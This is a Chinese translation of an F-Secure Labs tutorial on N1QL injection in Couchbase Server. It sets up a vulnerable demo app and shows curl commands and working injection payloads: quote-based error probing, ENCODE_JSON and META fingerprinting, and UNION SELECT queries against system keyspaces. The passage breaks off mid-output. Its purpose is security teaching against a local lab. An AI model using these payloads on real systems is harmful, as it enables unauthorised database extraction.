Couchbase Server 与 N1QL注入
1. 译文声明
本文是翻译文章,原作者 Krzysztof Pranczk
原文地址:https://labs.f-secure.com/blog/n1ql-injection-kind-of-sql-injection-in-a-nosql-database/
译文仅作参考,具体内容表达请见原文
2. 前言
目前大多数数据库都支持SQL
或NOSQL
等查询语言,这些语言旨在为使用者提供与数据库的有效通信接口。但在某些情况下,外部攻击者或恶意用户可能会滥用这些接口功能来提取信息。常见的攻击方式有SQL注入或NoSQL注入。同时,一些小众查询语言的安全性没有得到过多的关注。本篇文章主要讲解N1QL注入,它可以理解为NoSQL数据库中的一种SQL注入,以及对应的利用工具N1QLMap
!
3. Couchbase Server 与 N1QL
Couchbase Server
是一个开源的面向文档的NoSQL数据库,其将JSON对象存储为文档,也可根据需要将其分配为存储非JSON对象的文档。Couchbase公司还提供Couchbase Lite
和一些移动应用。但是,这些产品有着与Couchbase Server
若干相同的功能。Couchbase SDK
包括使用文档ID进行增/删/改/查操作的基本功能,可以使用全文搜索功能或基于MapReduce
构建的索引执行查询。除此之外,还可以使用N1QL语法
发出更复杂的查询。N1QL(SQL for JSON)是一种类似于SQL的语言,能更好地处理和反馈JSON数据。
4. 一个简易的靶场
我们在gayhub上提供了一个漏洞靶场。该应用程序提供了一个简单的接口,允许用户查询世界各地的啤酒厂信息。基于Docker Compose
来搭建环境:
git clone https://github.com/FSecureLABS/N1QLMap.git
cd n1qlmap / n1ql-demo
./quick_setup.sh
设置完成后,靶场环境为http://localhost:3000
。例如以下curl命令返回一个JSON数据,包含位于纽约的啤酒厂:
$ curl -G "http://localhost:3000/example-1/breweries" --data-urlencode "city=New York"
...
[
{
"beer-sample": {
"address": [
"Chelsea Piers, Pier 59"
],
"city": "New York",
"code": "10011",
....
4.1. 识别注入
现在我们有了一个应用程序,随后需要确定是否存在注入,我们假设唯一的可控GET参数“city”存在SQL注入漏洞。判断手法与普通SQL注入判断手法相似。比如输入撇号/引号来判断,由于这些特殊字符破坏了服务器端语法,因此应用程序将抛出异常。例如:
$ curl -G "http://localhost:3000/example-1/breweries" --data-urlencode "city='aaa"
...errors\": [{\"code\":3000,\"msg\":\"syntax error - at aaa\"}],\n\"status\": \"fatal\",\n\"...
如上所示,syntax error
表明,可以通过操纵city
参数的值来直接修改查询。截至目前一切正常。接下来我们需要确定查询语言和数据库技术。
4.2. 判断查询语句和数据库
对于可疑的查询注入点,下一步是判断查询语言。为了识别注入点在N1QL查询语法内,可以构造出特定的函数或查询来判断。举两个栗子:
- 使用
ENCODE_JSON
、META
关键字或其它可在官方文档中找到对应的N1QL特定语法。 - 利用系统键空间来进行查询,例如
SELECT * FROM system:datastore
,在N1QL逻辑层次结构中可以找到更多可用的系统键空间。
本次靶场中应用如下:
http://localhost:3000/example-1/breweries?city=13373' OR ENCODE_JSON({}) == "{}" OR '1'='1
http://localhost:3000/example-1/breweries?city=13373' OR ENCODE_JSON((SELECT * FROM system:keyspaces)) != "{}" OR '1'='1
http://localhost:3000/example-1/breweries?city=13373' UNION SELECT * FROM system:keyspaces WHERE '1'='1
http://localhost:3000/example-1/breweries?city=13373' UNION SELECT META((SELECT * FROM system:datastores)) WHERE '1'='1
上述payload均未抛出异常,表明修改后的N1QL查询已成功查询。由于N1QL与常规SQL注入非常相似,也支持UNION SELECT
关键字,因此可以构造普通SQL注入中的联合查询。比如要查询所有可用的键空间,可以构造以下payload:
$ curl -G "http://localhost:3000/example-1/breweries" --data-urlencode "city=' AND '1'='0' UNION SELECT * FROM system:keyspaces WHERE '1'='1"
[{
"keyspaces": {
"datastore_id": "http://127.0.0.1:8091",
"id": "beer-sample",